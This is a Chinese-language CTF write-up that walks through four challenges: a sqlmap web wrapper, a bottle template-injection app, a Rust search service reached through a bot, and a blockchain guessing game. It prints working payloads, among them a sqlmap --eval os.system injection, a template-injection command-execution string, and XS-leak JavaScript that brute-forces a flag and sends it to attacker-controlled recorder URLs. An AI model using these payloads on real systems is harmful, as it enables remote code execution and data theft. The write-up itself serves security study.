sqlmap-master
访问环境后发现这是一个sqlmap的web服务,传入127.0.0.1后可见执行了sqlmap命令,尝试输入
发现未能注入命令,分析源码。
1 2 3 4 5 6 7 def generate (): process = subprocess.Popen( command.split(), stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=False )
发现执行命令的这个方法,把传入的命令分割了,且shell=False
,所以这里的&
不会被当作bash的特殊字符,而会被当作传参传入,所以注入失败了。这里我们就得转变方向了,尝试寻找有没有可能利用sqlmap本身的参数。
我们发现这里有一个eval参数可以执行任意的python代码,所以我们可以构造如下参数:
1 2 127.0.0.1 --eval eval ("__import__('os').system('echo$IFS$FLAG >>test')" )
我们就可以输出$FLAG变量到同目录的test文件中。
好的我们现在已经写好了文件,那么我们怎么读取文件?
我们可以利用这个参数,他会在文件内容不合法时,将文件的第一行输出出来。
我们就得到flag了。
ez_dash
访问环境后发现提示404,我们审计一下源码,发现有两个路由。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 def setval (name:str , path:str , value:str )-> Optional [bool ]: if name.find("__" )>=0 : return False for word in __forbidden_name__: if name==word: return False for word in __forbidden_path__: if path.find(word)>=0 : return False obj=globals ()[name] try : pydash.set_(obj,path,value) except : return False return True @bottle.post('/setValue' ) def set_value (): name = bottle.request.query.get('name' ) path=bottle.request.json.get('path' ) if not isinstance (path,str ): return "no" if len (name)>6 or len (path)>32 : return "no" value=bottle.request.json.get('value' ) return "yes" if setval(name, path, value) else "no" @bottle.get('/render' ) def render_template (): path=bottle.request.query.get('path' ) if path.find("{" )>=0 or path.find("}" )>=0 or path.find("." )>=0 : return "Hacker" return bottle.template(path)
这里我们发现,render
路由是存在一个模板注入漏洞的,setValue
路由可以设置环境变量。对于设置环境变量我没有找到合适的利用方式,因为根据我们分析,如果是通过变量访问的话,需要通过%
去访问变量,一开始我没想到这个,后来想到了之后直接就通过getattr
,去获取system
方法,然后传入参数就可以执行系统命令了。我们构造如下payload:
1 %getattr (__import__ ('os' ), 's' +'ystem' )('echo $FLAG>>test' )
这样我们就可以利用模板注入漏洞执行系统命令了,记得URL编码一下。
然后我们把同目录test文件作为模板文件来读取就能读出flag了。这似乎是个非预期解,预期的利用方式我也想不到。
internal_api
进来之后发现是这么搜索页面,旁边有个report URL的功能,我们直接开始分析源码,先分析路由:
1 2 3 4 5 6 let app = Router::new () .route ("/" , get (route::index)) .route ("/report" , post (route::report)) .route ("/search" , get (route::public_search)) .route ("/internal/search" , get (route::private_search)) .with_state (Arc::new (pool));
可见这里有4个路由,其中/search
就是普通用户的搜索路由,internal/search
这个路由我们分析源码可以发现这个路由只能由本地的selenium
服务去访问,/report
则是向本地的selenium
服务添加请求的,我们先分析公共的搜索方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 pub async fn public_search ( Query (search): Query<Search>, State (pool): State<Arc<DbPool>>, ) -> Result <Json<Vec <String >>, AppError> { let pool = pool.clone (); let conn = pool.get ()?; let comments = db::search (conn, search.s, false )?; if comments.len () > 0 { Ok (Json (comments)) } else { Err (anyhow!("No comments found" ).into ()) } }
这就是一个简单调用search查询数据的方法,再分析私有的搜索方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pub async fn private_search ( Query (search): Query<Search>, State (pool): State<Arc<DbPool>>, ConnectInfo (addr): ConnectInfo<SocketAddr>, ) -> Result <Json<Vec <String >>, AppError> { let bot_ip = tokio::net::lookup_host ("bot:4444" ).await ?.next ().unwrap (); if addr.ip () != bot_ip.ip () { return Err (anyhow!("only bot can access" ).into ()); } let conn = pool.get ()?; let comments = db::search (conn, search.s, true )?; if comments.len () > 0 { Ok (Json (comments)) } else { Err (anyhow!("No comments found" ).into ()) } }
根据注释的描述,这个方法只能由本地的bot也就是selenium
访问,其余的和公共的search方法是一样的,再分析report方法:
1 2 3 4 5 6 pub async fn report (Form (report): Form<Report>) -> Json<Value> { task::spawn (async move { bot::visit_url (report.url).await .unwrap () }); Json (json!({ "message" : "bot will visit the url soon" })) }
可见这里访问的URL是可以指定的,所以这里是可以利用本地selenium
去访问/internal/search
这个路由获取到flag。最后我们分析一下search方法:
1 2 3 4 5 6 7 8 9 10 pub fn search (conn: DbConn, query: String , hidden: bool ) -> anyhow::Result <Vec <String >> { let mut stmt = conn.prepare ("SELECT content FROM comments WHERE content LIKE ? AND hidden = ?" )?; let comments = stmt .query_map (params![format! ("%{}%" , query), hidden], |row| { Ok (row.get (0 )?) })? .collect::<rusqlite::Result <Vec <String >>>()?; Ok (comments) }
这里我们分析准备的SQL语句,我们要查询flag那么hidden必须是true,仅有/internal/search
可以获取到,所以我们的思路很明朗了就是利用本地的bot去访问对应的路由。但这里就有一个问题,就是bot访问的结果是不会返回给我们的,所以我们就需要通过XSleak去获取数据,大体流程如下:
1 2 3 4 5 6 7 8 9 graph TD A[通过 /report 路由创建访问任务] --> B[Bot 访问攻击机] B --> C[攻击机利用 CSRF 访问 /internal/search 路由] C --> D{访问成功?} D -->|是| E[记录成功结果] D -->|否| F[记录不成功结果] E --> G[多次访问并区分数据包] F --> G G --> H[爆破出 Flag]
思路并不难,但是我卡在了区分成功包和失败包,我已经实验过,可以利用bot来访问攻击机,利用JS外带数据。我最后的脚本是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 var chars = 'ha' ;var charLen = chars.length ;var ENDPOINT = "http://aim-ip:8000/search?s=" var x = document .createElement ('iframe' ); function search (leak, charCounter ) { var curChar = chars[charCounter]; x.setAttribute ("src" , 'http://aim-ip:8000/search?s=' + leak + curChar); document .body .appendChild (x); leak += curChar; const iframecount = document .getElementsByTagName ('iframe' ).length ; console .log (iframecount); x.onload = () => { if (iframecount != 0 ) { fetch ('http://attack-ip/recorder.php?leak=' + escape (leak), { method : "GET" , mode : "no-cors" , credentials : "include" }); leak += curChar } } x.onerror = () => { fetch ('http://attack-ip/recorder.php?leak=error' , { method : "GET" , mode : "no-cors" , credentials : "include" }); } } function exploit ( ) { for (var i = 0 ; i < charLen; i++) { search ("T" , i); } } exploit ();
这个JS已经能够实现利用CSRF远程访问目标机了,但是不能正确区分正确包和错误包。
后续: 根据提供的WP,我改造了一下,得到了下面的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 let flag = 'nctf{' ;async function checkError (currentFlag ) { return new Promise ((resolve ) => { const url = `http://127.0.0.1:8000/internal/search?s=${currentFlag} ` ; const script = document .createElement ('script' ); script.src = url; script.onload = () => { fetch (`http://yourwebhook/recorder.php?leak=${currentFlag} ` ) .finally (() => resolve ()); flag = currentFlag; }; script.onerror = () => resolve (); document .head .appendChild (script); }); } async function bruteForce (curdepth ) { if (curdepth == 30 ){ return ; } const charset = 'abcdefghijklmnopqrstuvwxyz0123456789-}' ; for (const c of charset) { const newFlag = flag + c; await checkError (newFlag); } bruteForce (curdepth+1 ); } bruteForce (0 );
x1guessgame 这道题是区块链的题目,我的思路只能得到hash过后的answer,所以也卡住了。
请求包:
1 2 3 4 5 6 7 8 POST /rpc HTTP/1.1 Host : 39.106.16.204:18144Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0Content-Type : application/json
这里我只列出数据包:
1 { "jsonrpc" : "2.0" , "method" : "eth_getStorageAt" , "params" : [ "0x交易hash值" , "0x0" , "latest" ] , "id" : 1 }
获取处理结果,提交answer的数据包:
1 2 3 { "jsonrpc" : "2.0" , "method" : "eth_sendTransaction" , "params" : [ { "from" : "0x玩家地址" , "to" : "0x挑战合约地址" , "gas" : "0x1e8480" , "gasPrice" : "0x4e3b29200" , "nonce" : "0x最新的nonce值" , "data" : "0x3ef81c38" + "answer_bytes32_hex" } ] , "id" : 1 }
获取answer的hash值:
1 { "jsonrpc" : "2.0" , "method" : "eth_getStorageAt" , "params" : [ "0x挑战合约地址" , "0x0" , "latest" ] , "id" : 1 }
我的大致攻击流程
1 2 3 4 graph TD A[通过的第三个数据包获取到answer的hash值] --> B[通过第一个数据包获取最新的nonce值] B --> C[获取到原始的answer] C --> D[通过第二个数据包提交原始answer]
我就卡在了获取原始answer这里。